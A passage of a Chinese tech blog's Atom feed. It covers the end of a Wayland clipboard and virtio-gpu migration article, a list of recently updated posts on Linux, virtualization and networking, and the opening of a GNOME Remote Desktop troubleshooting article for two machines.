&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;qemu-system-x86_64: -vnc [::1]:0,...: The console requires a GL context.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;必须删掉 VNC graphics（本例它本来就只监听 &lt;code&gt;::1&lt;&#x2F;code&gt;）。想保留 VNC 就别开 GL，二选一。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;virsh screenshot&lt;&#x2F;code&gt; 失效&lt;&#x2F;strong&gt;。GL 模式下 QEMU 没有可读的 surface：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;error: 内部错误：无法执行 QEMU 命令 &amp;#x27;screendump&amp;#x27;：no surface
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证画面只能进 virt-manager 看，或在 guest 内截图。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h3 id=&quot;shou-wei&quot;&gt;收尾&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;迁移后 &lt;code&gt;renderD128&lt;&#x2F;code&gt; 常驻，waypipe 的 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt; 可以去掉（已建立的隧道要重连才生效）；&lt;&#x2F;li&gt;
&lt;li&gt;QXL 的其他毛病（gpu-manager 阻塞 &lt;code&gt;drm_master_open&lt;&#x2F;code&gt;、显存 BO 耗尽）随显卡更换一并消失；gdm3 卡死排查见 &lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;gdm3-restart-hang-gpu-manager&#x2F;&quot;&gt;gdm3 restart 卡住那篇&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;zong-jie-wayland-jian-tie-ban-gua-pei-jian-cha-qing-dan&quot;&gt;总结：Wayland 剪贴板适配检查清单&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;所有 &lt;code&gt;xclip&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;xsel&lt;&#x2F;code&gt; 换成 &lt;code&gt;wl-copy&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;wl-paste&lt;&#x2F;code&gt;，注意 &lt;code&gt;--primary&lt;&#x2F;code&gt; 与默认 clipboard 的区别&lt;&#x2F;li&gt;
&lt;li&gt;不要写 &lt;code&gt;wl-copy | wl-copy&lt;&#x2F;code&gt; 管道（无回显 + daemon 挂管道），用临时文件&lt;&#x2F;li&gt;
&lt;li&gt;长驻进程（tmux server）的 &lt;code&gt;WAYLAND_DISPLAY&lt;&#x2F;code&gt; 可能失效，脚本里做 socket 存在性检查 + 回退&lt;&#x2F;li&gt;
&lt;li&gt;遇到 &lt;code&gt;[src&#x2F;xxx.c]&lt;&#x2F;code&gt; 格式的报错先确认属于哪个程序（本案例是 waypipe 不是 wl-copy）&lt;&#x2F;li&gt;
&lt;li&gt;waypipe 隧道在无渲染节点机器上必加 &lt;code&gt;--no-gpu&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;想根治 dmabuf：虚拟机升 virtio-gpu 3D（virgl），宿主需有 render 节点——2026-09-13 已在 his-host 实测落地（见上，注意 SPICE GL&#x2F;VNC 互斥）&lt;&#x2F;li&gt;
&lt;li&gt;ssh 远程&#x2F;无 wayland 场景，OSC52（myyank.sh）兜底不能丢&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>最近更新</title>
        <published>2026-08-08T00:00:00+00:00</published>
        <updated>2026-08-08T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/updated/"/>
        <id>https://vercel.juzhong.asia/updated/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/updated/">&lt;p&gt;共收录 118 篇文章，其中新发布 50 篇、发布后有正文更新的 68 篇：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;vllm-tool-call-silent-truncation&#x2F;&quot;&gt;客户端卡死在 tool-use 上——vLLM 工具调用静默截断排查记&lt;&#x2F;a&gt; - 发布于 2026-10-14&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;opencode-credential-active-key-mismatch&#x2F;&quot;&gt;网页显示还有额度，opencode 却报限额：一个 provider 挂两个账号 key 的坑&lt;&#x2F;a&gt; - 发布于 2026-10-14&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;10&#x2F;libvirt%20%E8%99%9A%E6%8B%9F%E6%9C%BA%E5%86%85%E5%AD%98%E7%AE%A1%E7%90%86&#x2F;&quot;&gt;libvirt 虚拟机内存管理&lt;&#x2F;a&gt; - 更新于 2026-10-11（发布于 2025-10-29）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;headscale-p2p-network-deploy&#x2F;&quot;&gt;自建 headscale 打通公司与家庭的 P2P 网络:方案选型、部署与面板&lt;&#x2F;a&gt; - 更新于 2026-10-11（发布于 2026-08-14）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;dns-delegation-glue-tld-deep-dive&#x2F;&quot;&gt;DNS 委派、TLD 与胶水记录：把新域名 NS 切到 Cloudflare 的实战与原理&lt;&#x2F;a&gt; - 发布于 2026-10-10&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;windows-openssh-server-guide&#x2F;&quot;&gt;Windows 开启 SSH 与远程桌面完整指南：OpenSSH、WSL、家庭版 RDPWrap 与 Remmina 调优&lt;&#x2F;a&gt; - 更新于 2026-10-10（发布于 2026-10-09）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;cockpit-machines-console-only-spice-socket&#x2F;&quot;&gt;cockpit-machines 只剩串口 console？——SPICE unix socket 监听踩坑记&lt;&#x2F;a&gt; - 发布于 2026-10-09&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;11&#x2F;qemu-img%20%E7%AE%A1%E7%90%86%E8%99%9A%E6%8B%9F%E6%9C%BA%E7%A1%AC%E7%9B%98&#x2F;&quot;&gt;qemu-img 管理虚拟机硬盘&lt;&#x2F;a&gt; - 更新于 2026-10-09（发布于 2025-11-22）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;opencode-osc52-clipboard-diagnosis&#x2F;&quot;&gt;SSH + tmux 下 opencode v2 复制静默失效：OSC52 与 wl-copy 双路径多方验证记&lt;&#x2F;a&gt; - 更新于 2026-10-09（发布于 2026-10-08）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;opencode-noproxy-0000-port-conflict&#x2F;&quot;&gt;NO_PROXY 漏了 0.0.0.0：opencode 只在一个 tmux 窗口启动失败的真凶&lt;&#x2F;a&gt; - 发布于 2026-10-09&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;opencode-tool-env-display&#x2F;&quot;&gt;opencode 工具执行用谁的 DISPLAY：&quot;哪个终端发起 prompt 就用谁的&quot;对不对&lt;&#x2F;a&gt; - 发布于 2026-10-09&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;libvirt-external-snapshot-delete&#x2F;&quot;&gt;libvirt 外部快照删除：从 QCOW2 链到 AppArmor 权限陷阱&lt;&#x2F;a&gt; - 发布于 2026-10-09&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;setenv-proc-self-environ&#x2F;&quot;&gt;setenv 后 &#x2F;proc&#x2F;self&#x2F;environ 为何不变：环境变量存哪、会不会 realloc&lt;&#x2F;a&gt; - 发布于 2026-10-09&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;systemd-run-working-directory-chdir&#x2F;&quot;&gt;systemd-run --working-directory 的 ~ 不展开：一次 status=200&#x2F;CHDIR 排查&lt;&#x2F;a&gt; - 发布于 2026-10-09&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;using-%E6%96%B0%E7%94%A8%E6%B3%95&#x2F;&quot;&gt;using 新用法&lt;&#x2F;a&gt; - 更新于 2026-10-08（发布于 2022-06-06）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;std__reference_wrapper&#x2F;&quot;&gt;cxx std::enable_shared_from_this&lt;&#x2F;a&gt; - 更新于 2026-10-08（发布于 2022-06-16）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;06&#x2F;%E7%A7%BB%E5%8A%A8%E8%AF%AD%E4%B9%89move&#x2F;&quot;&gt;移动语义move&lt;&#x2F;a&gt; - 更新于 2026-10-08（发布于 2022-06-21）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;10&#x2F;clang-tidy-ninja&#x2F;&quot;&gt;clang-tidy&#x2F;ninja&lt;&#x2F;a&gt; - 更新于 2026-10-08（发布于 2022-10-10）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;12&#x2F;lib_include&#x2F;&quot;&gt;linux lib include&lt;&#x2F;a&gt; - 更新于 2026-10-08（发布于 2022-12-18）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2023&#x2F;12&#x2F;cpp%E7%9A%84lambda&#x2F;&quot;&gt;C++ 的lambda&lt;&#x2F;a&gt; - 更新于 2026-10-08（发布于 2023-12-20）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;tailscale-via-route-vs-openvpn&#x2F;&quot;&gt;tailscale 为什么不能像 OpenVPN 那样用 via 路由访问对端局域网&lt;&#x2F;a&gt; - 更新于 2026-10-07（发布于 2026-09-04）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;10&#x2F;git-lfs-local-bare-repo-migration&#x2F;&quot;&gt;给本地裸仓库启用 Git LFS：1.6GB 媒体历史迁移实录&lt;&#x2F;a&gt; - 发布于 2026-10-01&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;dual-nic-server-device-proxy-arp&#x2F;&quot;&gt;Linux 双网卡 Server 与直连 Device 通信：标准路由与 Proxy ARP 两种方案（含勘误）&lt;&#x2F;a&gt; - 发布于 2026-09-20&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;virtiofs-enfile-diagnosis&#x2F;&quot;&gt;virtiofs ENFILE 问题排查手册&lt;&#x2F;a&gt; - 更新于 2026-09-18（发布于 2026-06-13）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;agent-apikey-isolation-openshell-dsh&#x2F;&quot;&gt;让 Agent 调用模型却拿不到 API Key：OpenShell 实测、DSH 默认隔离与 SSH Key 的边界&lt;&#x2F;a&gt; - 发布于 2026-09-13&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;openshell-pi-hermes-sandbox&#x2F;&quot;&gt;把 Hermes 关进 OpenShell 沙箱（基于 pi 镜像）：rootless Podman 与凭证不落地&lt;&#x2F;a&gt; - 更新于 2026-09-13（发布于 2026-09-11）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;nextcloud-podman-cloudflare-tunnel&#x2F;&quot;&gt;Nextcloud 自托管：rootless Podman + Cloudflare Tunnel + 宿主机 Caddy&lt;&#x2F;a&gt; - 发布于 2026-09-13&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;wayland-migration-toolchain&#x2F;&quot;&gt;工具链迁移 Wayland：剪贴板踩坑与适配方案&lt;&#x2F;a&gt; - 更新于 2026-09-13（发布于 2026-08-09）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;waypipe-iris-kernel-too-old-diagnosis&#x2F;&quot;&gt;waypipe 报 Iris kernel too old 排查：被『客户端没有 GPU 节点』带偏的过程&lt;&#x2F;a&gt; - 更新于 2026-09-13（发布于 2026-08-09）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;gdm3-restart-hang-gpu-manager&#x2F;&quot;&gt;systemctl restart gdm3 卡住排查：gpu-manager 阻塞在 QXL 的 drm_master_open&lt;&#x2F;a&gt; - 发布于 2026-09-12&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;12&#x2F;%E9%BB%98%E8%AE%A4%E8%B7%AF%E7%94%B1%E5%88%B0%E6%97%81%E8%B7%AF%E7%94%B1&#x2F;&quot;&gt;默认路由到旁路由&lt;&#x2F;a&gt; - 更新于 2026-09-12（发布于 2025-12-05）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;10&#x2F;openvpn%20%E9%85%8D%E7%BD%AE&#x2F;&quot;&gt;openvpn 配置&lt;&#x2F;a&gt; - 更新于 2026-09-11（发布于 2025-10-26）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;ubuntu-gnome-rdp-mstsc-troubleshooting&#x2F;&quot;&gt;两台机器的 GNOME RDP 排查：xrdp 占端口 &#x2F; 0x907 证书 &#x2F; 白屏闪退 &#x2F; 凭证丢失&lt;&#x2F;a&gt; - 更新于 2026-09-11（发布于 2026-08-06）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;10&#x2F;gnome-remote-desktop%20%E9%85%8D%E7%BD%AE&#x2F;&quot;&gt;gnome-remote-desktop 配置&lt;&#x2F;a&gt; - 更新于 2026-09-11（发布于 2025-10-25）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;10&#x2F;gnome-remote-desktop%20headless%20%E6%A8%A1%E5%BC%8F&#x2F;&quot;&gt;gnome-remote-desktop headless 模式&lt;&#x2F;a&gt; - 更新于 2026-09-11（发布于 2025-10-28）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;06&#x2F;gnome-remote-desktop-full-troubleshooting&#x2F;&quot;&gt;GNOME Remote Desktop (RDP) 完整排查与修复记录&lt;&#x2F;a&gt; - 更新于 2026-09-11（发布于 2026-06-13）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;07&#x2F;opencode-%E5%8D%A1%E4%BD%8F%E6%8E%92%E6%9F%A5&#x2F;&quot;&gt;opencode 界面卡住不动排查&lt;&#x2F;a&gt; - 更新于 2026-09-11（发布于 2026-07-15）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;learn&#x2F;systemd-boot-slow-networkd-wait-online&#x2F;&quot;&gt;服务器启动慢排查：systemd-networkd-wait-online 等空网口 2 分钟的根因与 netplan optional 修复&lt;&#x2F;a&gt; - 发布于 2026-09-09&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;arm-tty0-console-experiment&#x2F;&quot;&gt;ARM 服务器（鲲鹏 920）让内核日志显示在 VGA：从 console=tty0 实验到 simplefb 点亮&lt;&#x2F;a&gt; - 发布于 2026-09-09&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;ext4-rootfs-readonly-recovery&#x2F;&quot;&gt;昇腾服务器根分区只读故障：ext4 日志中止 → 远程 fsck + IPMI 全程修复记录&lt;&#x2F;a&gt; - 发布于 2026-09-08&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;12&#x2F;linux%20pipewire%20%E8%93%9D%E7%89%99%E8%80%B3%E6%9C%BA%E6%97%A0%E5%A3%B0&#x2F;&quot;&gt;linux pipewire 蓝牙耳机无声&lt;&#x2F;a&gt; - 更新于 2026-09-02（发布于 2025-12-22）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;09&#x2F;libvirt-usb-device-hotplug&#x2F;&quot;&gt;libvirt USB 设备直通虚拟机：在线热插拔，不硬编码 domain XML&lt;&#x2F;a&gt; - 发布于 2026-09-01&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;cloudflare-warp-singbox-outbound&#x2F;&quot;&gt;sing-box 分流 WARP 出口访问 ChatGPT：告别 Cloudflare 验证&lt;&#x2F;a&gt; - 更新于 2026-08-31（发布于 2026-08-26）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;libvirt-macvlan-vsock-ssh&#x2F;&quot;&gt;libvirt macvlan + VSOCK：局域网直连虚拟机，宿主零断网风险&lt;&#x2F;a&gt; - 发布于 2026-08-31&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2025&#x2F;08&#x2F;gdb%E8%B0%83%E8%AF%95%E4%BF%A1%E6%81%AF%E5%88%86%E7%A6%BB&#x2F;&quot;&gt;gdb调试信息分离&lt;&#x2F;a&gt; - 更新于 2026-08-26（发布于 2025-08-12）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;tokio-runtime-hang-diagnosis&#x2F;&quot;&gt;tokio 运行时「睡死」诊断记录：message-queue-enhance 服务异常排查&lt;&#x2F;a&gt; - 发布于 2026-08-25&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;lmm-engineering-principles&#x2F;&quot;&gt;多模态大模型（LMM）工程原理深度解析：从架构到推理&lt;&#x2F;a&gt; - 发布于 2026-08-25&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;llm-jailbreak-lora-abliteration&#x2F;&quot;&gt;揭秘AI模型的“越狱”：从原理到实战，深入解析LoRA与Abliteration&lt;&#x2F;a&gt; - 发布于 2026-08-25&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;llm-inference-acceleration-dspark-and-mtp&#x2F;&quot;&gt;深入浅出大模型推理加速：从 DSpark 到 MTP&lt;&#x2F;a&gt; - 发布于 2026-08-25&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2026&#x2F;08&#x2F;ssh-controlmaster-port-forward-leftover&#x2F;&quot;&gt;SSH ControlMaster 复用引发的「幽灵监听」：-L 端口转发生命周期详解&lt;&#x2F;a&gt; - 发布于 2026-08-24&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;……（完整列表见&lt;a href=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;archive&#x2F;&quot;&gt;归档&lt;&#x2F;a&gt;）&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>两台机器的 GNOME RDP 排查：xrdp 占端口 &#x2F; 0x907 证书 &#x2F; 白屏闪退 &#x2F; 凭证丢失</title>
        <published>2026-08-06T10:30:00+08:00</published>
        <updated>2026-09-11T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/ubuntu-gnome-rdp-mstsc-troubleshooting/"/>
        <id>https://vercel.juzhong.asia/2026/08/ubuntu-gnome-rdp-mstsc-troubleshooting/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/ubuntu-gnome-rdp-mstsc-troubleshooting/">&lt;h1 id=&quot;liang-tai-ji-qi-de-gnome-rdp-pai-cha-ji-lu&quot;&gt;两台机器的 GNOME RDP 排查记录&lt;&#x2F;h1&gt;
&lt;p&gt;两台机器一台 Ubuntu 24.04、一台 Debian 13，GNOME 版本不同（46 vs 48），遇到的问题也不同。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;机器清单（2026-08-11 补充）&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;代号&lt;&#x2F;th&gt;&lt;th&gt;IP&lt;&#x2F;th&gt;&lt;th&gt;主机名&lt;&#x2F;th&gt;&lt;th&gt;系统&lt;&#x2F;th&gt;&lt;th&gt;GNOME&lt;&#x2F;th&gt;&lt;th&gt;grd 版本&lt;&#x2F;th&gt;&lt;th&gt;客户端&lt;&#x2F;th&gt;&lt;th&gt;状态&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;机器 A&lt;&#x2F;td&gt;&lt;td&gt;192.168.5.244&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;Ubuntu 24.04.4&lt;&#x2F;td&gt;&lt;td&gt;46.0&lt;&#x2F;td&gt;&lt;td&gt;46.3&lt;&#x2F;td&gt;&lt;td&gt;Windows mstsc&lt;&#x2F;td&gt;&lt;td&gt;正常（双守护进程）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;机器 B&lt;&#x2F;td&gt;&lt;td&gt;192.168.7.99&lt;&#x2F;td&gt;&lt;td&gt;xiao99&lt;&#x2F;td&gt;&lt;td&gt;Debian 13 (Trixie)&lt;&#x2F;td&gt;&lt;td&gt;48.7&lt;&#x2F;td&gt;&lt;td&gt;48.1&lt;&#x2F;td&gt;&lt;td&gt;Linux Remmina&lt;&#x2F;td&gt;&lt;td&gt;正常（本次修复）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;douhao（对照参考）&lt;&#x2F;td&gt;&lt;td&gt;192.168.5.68&lt;&#x2F;td&gt;&lt;td&gt;debian13&lt;&#x2F;td&gt;&lt;td&gt;Debian 13（QEMU&#x2F;KVM 虚拟机，跑在机器 B 上）&lt;&#x2F;td&gt;&lt;td&gt;48&lt;&#x2F;td&gt;&lt;td&gt;48.1&lt;&#x2F;td&gt;&lt;td&gt;—&lt;&#x2F;td&gt;&lt;td&gt;一直正常&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h3 id=&quot;shu-yu-cheng-qing&quot;&gt;术语澄清&lt;&#x2F;h3&gt;
&lt;p&gt;GNOME Remote Desktop 有两个独立的守护进程，都叫 &lt;code&gt;gnome-remote-desktop&lt;&#x2F;code&gt;，但运行级别不同：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;系统级（远程登录）&lt;&#x2F;th&gt;&lt;th&gt;用户级（桌面共享）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;service 名&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop.service&lt;&#x2F;code&gt; (system)&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;gnome-remote-desktop.service&lt;&#x2F;code&gt; (user)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;管理命令&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;sudo systemctl start&#x2F;stop ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;systemctl --user start&#x2F;stop ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;配置命令&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;sudo grdctl --system rdp ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;grdctl rdp ...&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;功能&lt;&#x2F;td&gt;&lt;td&gt;提供 GDM 登录界面&lt;&#x2F;td&gt;&lt;td&gt;共享已有桌面会话&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;客户端看到&lt;&#x2F;td&gt;&lt;td&gt;登录屏 → 新桌面&lt;&#x2F;td&gt;&lt;td&gt;直接进入当前桌面&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;默认端口&lt;&#x2F;td&gt;&lt;td&gt;3389&lt;&#x2F;td&gt;&lt;td&gt;3390（自动避让）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;--headless&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt; 不是守护进程类型，只是用户级守护进程的一个启动参数（drop-in 文件中的 &lt;code&gt;ExecStart=... --headless&lt;&#x2F;code&gt;）。加上：不依赖物理显示器，创建虚拟屏。不加：直接使用&#x2F;共享已有的 Wayland 桌面。&lt;&#x2F;p&gt;
&lt;p&gt;机器 B 最终用的是&lt;strong&gt;用户级、非 headless&lt;&#x2F;strong&gt;——它还是一个守护进程。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;ji-qi-a-ubuntu-24-04-4-gnome-46-0&quot;&gt;机器 A：Ubuntu 24.04.4 + GNOME 46.0&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;环境：&lt;&#x2F;strong&gt; Ubuntu 24.04.4, GNOME 46.0, gnome-remote-desktop 46.3。客户端：Windows 10&#x2F;11 mstsc。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gu-zhang&quot;&gt;故障&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;设置里「远程登录」开关一开就自动弹回&lt;&#x2F;li&gt;
